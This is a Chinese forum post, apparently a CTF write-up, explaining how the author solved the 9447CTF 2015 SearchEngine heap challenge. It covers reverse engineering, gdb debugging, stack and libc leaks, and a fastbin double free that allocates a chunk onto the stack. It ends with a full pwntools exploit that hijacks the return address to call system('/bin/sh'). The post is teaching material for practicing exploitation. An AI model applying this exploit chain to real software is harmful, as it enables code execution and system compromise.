首页
社区
课程
招聘
[原创]Pwn堆利用学习——Fastbin-Alloc to Stack——9447CTF2015-SearchEngine
2021-5-30 10:45 12565

[原创]Pwn堆利用学习——Fastbin-Alloc to Stack——9447CTF2015-SearchEngine

2021-5-30 10:45
12565

Alloc to Stack:将堆块分配到了栈上。该项技术的核心点在于劫持fastbin链表中chunk的fd指针,将fd指针修改为我们想要分配的栈上,从而控制栈中的一些关键数据,比如返回地址等。在分配堆到栈上时,栈上要存在满足条件的chunk.size值,也就是说,我们要malloc多少的内存,其size一定要对应。

9447CTF2015-SearchEngine

实验环境:

  • OS:Ubuntu16.04 x64
  • libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)

步骤一:运行查看

1

  • 1:Search with a word - 通过一个word进行搜索。
    • 搜索结果是:Found (sentence size):sentence
    • 如果搜索到了,具有删除功能
  • 2:Index a sentence - 索引(存储)一个sentence
  • 3:Quit - 退出

步骤二:查看文件类型和保护机制

  • 64位程序
  • 开启了Canary和NX,关闭了PIE
1
2
3
4
5
6
$ file 9447CTF2015-SearchEngine
9447CTF2015-SearchEngine: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped
 
$ checksec --file=9447CTF2015-SearchEngine
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      Yes    1        3        9447CTF2015-SearchEngine

步骤三:IDA反编译分析

a. main

2

b. main -> sub_400D60

“真正的main函数”
3

c. main -> sub_400D60 -> input_number

将输入的字符串转换为数字。
4

long int strtol(const char *str, char **endptr, int base)

  • 参数
    • str -- 要转换为长整数的字符串。
    • endptr -- 对类型为 char* 的对象的引用,其值由函数设置为 str 中数值后的下一个字符。
    • base -- 基数,必须介于 2 和 36(包含)之间,或者是特殊值 0。
  • 返回值
    • 该函数返回转换后的长整数,如果没有执行有效的转换,则返回一个零值。

d. main -> sub_400D60 -> input_number -> input

输入字符串的函数,有三个参数:

  • arg1:输入的字符串存放的地方
  • arg2:设置输入字符串的长度
  • arg3:一个flag?当arg3不为0的时候,字符串最后一个字符会设置为\x00。否则不为\x00,此时如果打印,会泄漏数据

    5

e. main -> sub_400D60 -> index

索引句子的函数。
6
首先是输入句子的长度,然后判断不能小于等于0。然后分配一个chunk来存储句子的内容,暂且称为sentence chunk吧。接着调用input函数往sentence chunk 输入句子的内容,这里第三个参数为0,所以,如果后面打印sentence的句子,可能泄漏数据。
因为关闭了PIE,所以,可以用地址来下断点,那就用gdb调试来验证输入的字符串没有\x00结尾。这里第22行(call input)的地址为0x400c4a。输入sentence size 为9,准备输入sentence为“aaaa aaaa”(中间一个空格,前后各4个a)。由下图可以知道,sentence_mem(即sentence chunk的user data的地址)为0x603420。
7
接着,输入句子“aaaa aaaa”后,可以看到sentence_mem开始9个字节由低到高是:616161612061616161,没有\x00。所以,如果我们输入的句子长一点,把sentence chunk填满,那么可以打印下一个chunk。
8

 

这几个变量之间的关系如下图所示。关于v6的那几行代码,可切换到汇编代码视图,结构非常清晰,一看就知道结构是怎样的,当然也可以继续用gdb调试查看。
9
继续看下面的代码。
10
看完这段代码可以知道前面的new chunk就是为word创建的word chunk。以输入“aaaa aaaa”为例,其大概流程如下图所示。
11

f. main -> sub_400D60 -> search

这里有一个漏洞点,删除sentence之后,没有把指向sentence的指针给置为Null,可能存在UAF或者DF漏洞。
12

g. 小结

word chunk和sentence chunk,以及全局变量之间的关系:
13

  • 漏洞点:
    • 输入选项的input_number函数:输入48个非数字字符,字符串不会有\x00结尾,打印函数会泄漏栈里的数据;而且全部输入非数字字符,会提示非法并一直让输入。
    • 索引句子的index函数:设置句子的长度为0x18,则打印句子可以泄漏第一个word_chunk的size
    • 搜索单词的search函数:删除句子的地方存在UAF漏洞/Double Free漏洞
  • 可输入的点:
    • 输入菜单选项
    • 输入sentence的size和content
    • 输入wrod的size和content
  • 大概思路:
    • leak stack - 为了在栈上构造伪块,块里有返回地址
    • leak libc - 为了获得 system 地址
    • 改写返回地址调用 system("/bin/sh")

(这道题有两种解法,这里只写alloc to stack这种方法的思路,另一种思路可参考论坛里iddm师傅的文章《2015 9447ctf search_engine 双解》

步骤四:调试分析

a. 模板和选项函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './9447CTF2015-SearchEngine'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def dbg():
        gdb.attach(p)
        pause()
 
def index(sentence_size, sentence):
    sl('2\n')
    sla('size:\n', str(sentence_size))
    sla('sentence:\n', sentence)
 
def search(word_size, word):
    sl('1\n')
    sla('size:\n', str(word_size))
    sla('word:\n', word)
 
 
p.interactive()

b. leak stack

输入96个a,会连带着打印出栈中的数据。输入48个a,没有打印栈中数据是刚好48个a之后栈的数据是0,这一点在后面的调试中可以看到。
14
使用脚本和gdb调试:在接收完菜单之后就attach gdb,然后在gdb里下断点,断点设为0x400AAF(input_number函数中调用__printf_chk的地方),然后c命令继续运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
# recv menu
r()
 
''' leak stack addr'''
dbg()
sl(48*2*'a')
# receive until first print
ru('\n')
# receive until second 48*a
ru(48*'a')
# receive leak stack addr
stack_leak = u64(p.recv(6).ljust(8, '\x00'))
leak('leak stack', stack_leak)

15
继续单步调试,直到运行到第二次调用__printf_chk,第二次调用时就会打印出栈的地址。经过多次尝试,每当在调用strtol函数之后,第2次打印的48个a后面总是栈的某个地址。但是参考资料里有的大佬不是这样,可能是环境的问题?我的环境是Ubuntu16.04,glibc 2.23。
16

 

17

c. leak libc

思路:如何泄漏libc基址?最终还是要依靠打印函数来泄漏的,有两处地方有打印函数:(1)前面泄漏栈地址的input_number函数中;(2)search函数中。

  • 第(1)处只能泄漏栈中原有的数据。
  • 第(2)处打印的是一个word chunk里存储的sentence size和sentence content,因此,我们可以将word chunk里的sentence_mem 指针修改为free@got,而word_mem的指针指向程序里已有的某个字符串的地址,比如“Enter the word”的地址。那么,搜索“Enter”的时候就会匹配到这个word chunk,进而打印sentence content的时候打印出free函数的真实地址。

可是word chunk的内容并不是我们能够直接控制的,怎么修改它的内容呢?

 

sentence chunk是我们能够完全控制的,它的所有user data都是我们输入的。那我们可以在index一个sentence的时候,将输入伪造成一个word chunk,并且如果index该sentence时malloc出来的word chunk的最后8字节指向我们输入的sentence内容。这样的话,当我们搜索“Enter”时,最终会搜索匹配到我们伪造的word chunk(输入的sentence chunk x),打印free函数真实地址。如下图所示。

 

18

 

问题又来了,怎么让word chunk x 的最后8字节指向sentence chunk x的user data呢?

 

word chunk 最后8个字节内容的来源是全局变量,保存的是上一个word chunk的地址。所以只要让sentence chunk x 曾经是最后一个 word chunk,同时已经被free掉就可以了!那么 sentence chunk x 原来要在fastbin中,当index一个sentence的时候会先malloc这个chunk给sentence。

 

可是word chunk是不会被free的,free的只会是sentence chunk,怎么办呢?也就是怎么才会让sentence chunk x既曾经是一个word chunk,又能被free掉?

 

能被free掉,说明sentence chunk x 曾经是一个sentence chunk,它的地址保存在某些的 word chunk 里面(删除句子后,word chunk里的sentence_mem指针没有被置为空)。所以:
(1)那就让它一开始是0x28大小的sentence chunk,内容为两个word(原因看下面的注意),然后search,删除sentence进行free,让它进入fastbin。
(2)再index另一个大小(如0x40)的sentence 2,那么 sentence 2 的 word chunk就会分配到被free掉的sentence chunk x!此时,成为word chunk 的 sentence chunk x 的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---------------------------------------
    prev_size
---------------------------------------
    size
---------------------------------------
    sentence_chunk_2_mem
---------------------------------------
    0x40
---------------------------------------
    sentence_chunk_2_mem
---------------------------------------
    0x40
---------------------------------------
    word_chunk2_of_sentence_chunk_1_addr
---------------------------------------

(3)现在sentence chunk x 变成word chunk了,接着需要让他进入fastbin。那就要把这个word chunk(sentence chunk x)当作sentence chunk,才能free进fastbin。此时,还有两个word chunk((1)中sentence chunk内容分为2个word) 的sentence_mem是指向这个sentence chunk x的,那就想办法通过这两个word的结构搜索到sentence chunk x,然后删除sentence chunk x,那就能free这个被当作sentence chunk的word chunk(sentence chunk x)。方法就是搜索\x00,具体原因下面边调试边分析,因为光看文字还是有点迷糊。

注意:index sentence1 的时候,它的内容不能为连续的一个单词,否则搜索word时malloc出来的chunk也会是0x28大小,导致 sentence2 的word chunk 分配到这个chunk,而不是预想的sentence chunk x。

 

如此,leak libc的思路就清晰了:

  1. index(size=0x28,content=0x26*‘a’+‘ ’+‘b’) --> sentence_chunk1、word_chunk1、word_chunk2;search(1, 'b')并删除 --> sentence_chunk1 进入fastbins
  2. index(size=其他大小,content=随便) --> sentence_chunk2、word_chunk_of_sentence2 == sentence_chunk1(sentence_chunk1由sentence chunk变成word chunk)
  3. search (1, '\x00')并删除 --> 定位到sentence_chunk1,删除后,进入fastbin。(sentence_chunk1现在是最后一个word,意味着此时全局变量保存的是sentence_chunk1的地址,同时sentence_chunk1也在fastbin中)
  4. index(size=0x28, content=Enter addr + free@got) --> sentence_chunk3 == sentence_chunk1、word_chunk_of_sentence3中存储的上一个word的地址也是sentence_chunk1。
  5. 搜索Enter,定位到sentence_chunk1,打印free@got地址的内容。

下面开始编写脚本进行调试:

 

1)申请一个word chunk 大小(0x28)的sentence,记为sentence chunk 1,然后删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
''' leak libc addr '''
 
'''
index a sentence1, size=info chunk
delete sentence1, have a sentence1 bin
index a sentence2, different size, info chunk will use sentence1 bin before
search '\x00' will delete sentence1, so sentence1 into fastbin chunk
index a same size sentence, sentence2's info chunk is sentence3
since we can control sentence2's info chunk, we can fake sentence addr
sentence'addr = got, search -> leak
'''
ru('\n') # receive the rest
 
index(0x28, 0x26*'a'+' '+'b') # sentence chunk 1
ru('Added sentence\n')
 
search(1, 'b')
sla('(y/n)?\n','y')
ru('Deleted!\n')
 
dbg()

图中 sentence chunk 中的内容都为0,是因为这是删除句子之后的情况,都被清为0了。

 

19

 

2)申请一个其他大小的sentence,记为sentence chunk 2,那么sentence chunk 2的word chunk使用的就是sentence chunk 1。

1
2
3
index(0x40, 0x40*'a') # sentence chunk 2
ru('Added sentence\n')
dbg()

20

 

3)search ‘\x00’,将定位到 原sentence chunk 1的word chunk2(“b”)。看上图,长度为1的word只有原来的word ‘b’,它的word addr是0x1fe0047,该地址处的内容正是\x00。因为这个地方现在存储的是从全局变量拷贝过来的“上一个word”的地址,地址的高位肯定是\x00的。所以,搜索\x00,则会定位到原来指向“b”的word chunk,然后free这个word chunk所属的sentence(即原 sentence chunk 1),原sentence chunk1会进入fastbins。

1
2
3
4
search(1, '\x00')
sla('(y/n)?\n','y')
ru('Deleted!\n')
dbg()

21

 

(4)index(size=0x28, content=Enter addr + free@got) 将sentence 内容伪造成一个word chunk。

1
2
3
4
5
6
7
8
9
10
pl = ''
pl += p64(0x400E90) # 'Enter the word'
pl += p64(5)
pl += p64(elf.got['free'])
pl += p64(14)
pl += p64(0)
 
index(0x28, pl)
ru('Added sentence\n')
dbg()

22

 

(5)搜索Enter,定位到sentence chunk 3(原 sentence chunk 1),打印free@got地址的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
search(5, 'Enter') # fit the free@got, leak free
 
ru('Found 14: ')
 
free_addr = u64(p.recv(6).ljust(8, '\x00'))
leak('free@got',free_addr)
 
sla('(y/n)?\n','n')
ru('Quit\n')
 
libc_base, system, binsh = ret2libc(free_addr,'free')
leak('libc_base', libc_base)
leak('system', system)
leak('binsh', binsh)

23

d. fastbin attack - alloc to stack

现在,已经获得了stack addr 和 libc addr。那么,接下来只需要将chunk 分配到栈中,让我们能将栈中的返回地址修改成调用system("bin/sh")就可以了!
这里有几个问题:

  1. 如何把chunk分配到栈里?—— 利用double free漏洞,在fastbin里构造一个闭合链 b->a<-b,然后malloc b,并填充b的fd为栈的地址,这样就把栈的某个地址放到fastbin里去了,然后再次malloc的时候就能把chunk分配到栈里去了。
  2. 把chunk分配到栈的哪里?——找0x40,具体看下文。
  3. 如何修改返回地址?——可以使用 ROPgadget 找到一个 pop_rdi_ret 地址给 system 提供参数。

1)通过double free,在栈上伪造的chunk的地址放到fastbin中。为何要伪造0x40大小的chunk,而不是其他大小,在看完下面之后就会明白。此处暂时先这样用就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
'''
fastbin attack
target is to malloc a chunk on the stack
code segment in 0x400000-0x402000
so we can malloc(0x38) chunk to fake a 0x40 chunk
'''
size = 0x38
index(size, (size-2)*'a'+' t') # a
index(size, (size-2)*'b'+' t') # b
index(size, (size-2)*'c'+' t') # c
search(1, 't')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
dbg()
# a->b->c->0

24

1
2
3
4
5
search(1, '\x00')
sla('(y/n)?\n','y') # delete b
sla('(y/n)?\n','n')
dbg()
# b->a->b

25

1
2
3
4
5
6
7
8
fake_chunk = p64(stack_leak)
index(0x38,fake_chunk.ljust(56))
dbg()
 
# allocate twice to get our fake chunk
index(0x38,'A'*56)
index(0x38,'B'*56)
dbg()

26
27

 

2) 通过ROPGadget获取 pop_rdi_ret 地址
28

 

3)构造fake chunk,并malloc。这里先用这个wp的这部分脚本。

1
2
3
4
5
6
7
8
9
pop_rdi_ret = 0x400e23
# overwrite the return address
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(binsh)
buf += p64(system)
buf = buf.ljust(56, 'C')
index(0x38,buf)
dbg()

运行后出错。看到malloc函数报错: memory corruption (fast):0x00007ffdfdd995d0 。
29
这个地址是泄漏出来的栈的地址+0x10,原因清楚了:不能随便在栈中分配chunk,glibc会检查要分配的chunk的size是否符合,而前面泄漏出栈的地址之后就没有对他进行处理了,根本不知道在栈上伪造的free chunk的size是否为0x40。

 

同时,为何从double free开始,伪造的chunk大小都是0x40的原因也明白了。伪造的free chunk链接在某个size的fastbin上,而要在栈上找到一个size能绕过glibc的检查,那么之所以这个size选择0x40,是因为该程序关闭了PIE,代码段都是0x40开头的,所以栈中会有很多0x40。

 

4)选择stack地址,覆盖返回地址

 

首先尝试覆盖最后的index函数的返回地址,通过ida查看其返回地址为:0x400d8f
30
如下所示,在调用index之前下断点。
31
通过不断地finish,直到 BACKTRACE 窗口中 400d7e 在顶上,然后通过ni和si,进入调用的最后一个index函数。
32
刚进入index之后,通过 telescope $rsp-0x80 20 把栈内存dump出来查看,从里面找到0x40,然后通过偏移,把0x40当作size域的值,从这里开始构造chunk。
33
那么修改前面的代码,修改在栈上伪造chunk的地址。

1
2
3
stack_addr = stack_leak + 0x20 + 0x2 - 0x8
fake_chunk = p64(stack_addr)
index(0x38,fake_chunk.ljust(56))

运行脚本,还是出错。(;´༎ຶД༎ຶ`)

 

看了一下ida,index函数最后没有ret,而是直接跳转到puts函数去了,以为是这里出问题了(最后发现这是没问题的,后面会看到)。做到这又有点烦躁了,就不想去调试分析哪里错了,想着要不再找一个函数的返回地址来覆盖吧。就打算去覆盖index函数里的input函数,也就是往sentence chunk输入sentence那里。

 

但是呢,按照上面那个步骤去分析,最后发现这个返回地址附近没有0x40给我用,最近的也在0x40之外。于是只好放弃,回过去去分析之前哪里出错了。

唉,还是不能烦躁,要静心。这道题也是以前做了一大半,但是没做下去。这两天看别的看烦躁了,重新捡起来做的,比起以前还算是顺利,还是太菜了。

 

重新运行上面的代码进行调试,这次进入index之后继续调试,记住index函数的返回地址以及其在栈中的位置。接着,在index函数最后一条指令下断点,继续运行,在断点地方停下,index函数返回地址发生变化了,变成了 pop_rdi_ret 指令的地址。然后,继续 si 单步调试,进入puts函数。最后,不断地 ni ,发现在puts函数最后的 ret 跳转到pop_rdi_ret 指令了,如下图所示,说明这一部分把chunk分配到stack是没有问题的。
34
同时,发现上图中pop_rdi_ret 后面的指令不是system函数,而是vfprintf函数。难道我这个调用链构造错了,再去看一眼打印出来的system函数地址(下图),没有错啊,是这个地址。诶!发现LibcSearcher选择的libc好像有点不对劲。
35

 

我是先把本地的libc放到ida里查了一下free函数的偏移,再把上图打印出来的地址一算,是对不上的,问题确认了!然后我就把本地的libc添加到db库里。其实也可以直接就把本地的libc库添加进去。
36
添加完之后,重新运行脚本,在选择libc的时候,选择自己添加的本地libc。最后就成功了。
37

步骤五:完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './9447CTF2015-SearchEngine'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def index(sentence_size, sentence):
    sl('2\n')
    sla('size:\n', str(sentence_size))
    sla('sentence:\n', sentence)
 
def search(word_size, word):
    sl('1\n')
    sla('size:\n', str(word_size))
    sla('word:\n', word)
 
 
# recv menu
r()
 
''' leak stack addr'''
# dbg()
sl(48*2*'a')
# receive until first print
ru('\n')
# receive until second 48*a
ru(48*'a')
# receive leak stack addr
stack_leak = u64(p.recv(6).ljust(8, '\x00'))
leak('leak stack', stack_leak)
#dbg()
 
''' leak libc addr '''
 
'''
index a sentence1, size=info chunk
delete sentence1, have a sentence1 bin
index a sentence2, different size, info chunk will use sentence1 bin before
search '\x00' will delete sentence1, so sentence1 into fastbin chunk
index a same size sentence, sentence2's info chunk is sentence3
since we can control sentence2's info chunk, we can fake sentence addr
sentence'addr = got, search -> leak
'''
ru('\n') # receive the rest
 
index(0x28, 0x26*'a'+' '+'b') # sentence chunk 1
ru('Added sentence\n')
 
search(1, 'b')
sla('(y/n)?\n','y')
ru('Deleted!\n')
#dbg()
 
index(0x40, 0x40*'a') # sentence chunk 2
ru('Added sentence\n')
#dbg()
 
search(1, '\x00')
sla('(y/n)?\n','y')
ru('Deleted!\n')
#dbg()
 
 
pl = ''
pl += p64(0x400E90) # 'Enter the word'
pl += p64(5)
pl += p64(elf.got['free'])
pl += p64(14)
pl += p64(0)
 
index(0x28, pl)
ru('Added sentence\n')
#dbg()
 
search(5, 'Enter') # fit the free@got, leak free
 
ru('Found 14: ')
 
free_addr = u64(p.recv(6).ljust(8, '\x00'))
leak('free@got',free_addr)
 
sla('(y/n)?\n','n')
ru('Quit\n')
 
libc_base, system, binsh = ret2libc(free_addr,'free')
leak('libc_base', libc_base)
leak('system', system)
leak('binsh', binsh)
 
#dbg()
 
'''
fastbin attack
target is to malloc a chunk on the stack
code segment in 0x400000-0x402000
so we can malloc(0x38) chunk to fake a 0x40 chunk
'''
size = 0x38
index(size, (size-2)*'a'+' t') # a
index(size, (size-2)*'b'+' t') # b
index(size, (size-2)*'c'+' t') # c
search(1, 't')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
#dbg()
# a->b->c->0
 
search(1, '\x00')
sla('(y/n)?\n','y') # delete b
sla('(y/n)?\n','n')
#dbg()
# b->a->b
 
stack_addr = stack_leak + 0x20  + 0x2 -0x8
#stack_addr = stack_leak + 0x110 +0x2 -0x8
fake_chunk = p64(stack_addr)
index(0x38,fake_chunk.ljust(56))
#dbg()
 
# allocate twice to get our fake chunk
index(0x38,'A'*56)
index(0x38,'B'*56)
#dbg()
 
pop_rdi_ret = 0x400e23
# overwrite the return address
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(binsh)
buf += p64(system)
buf = buf.ljust(56, 'C')
index(0x38,buf)
#dbg()
 
p.interactive()

参考文献


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2021-5-30 11:03 被ztree编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
sistttt 2021-7-3 21:18
2
0

这个不是固定的吗?

雪    币: 10958
活跃值: (7723)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
ztree 6 2021-7-4 10:28
3
0
sistttt 这个不是固定的吗?
不是。我觉得可能是环境的原因,不一定都是2个“48个a”后面都是接栈的某个地址,也许要3个或者更多,也许一个就可以,虽然我没遇到。这样猜测的原因是我这里第1个”48个a“后面接的是0,所以栈里数据的位置可能因为环境不同而不同。
游客
登录 | 注册 方可回帖
返回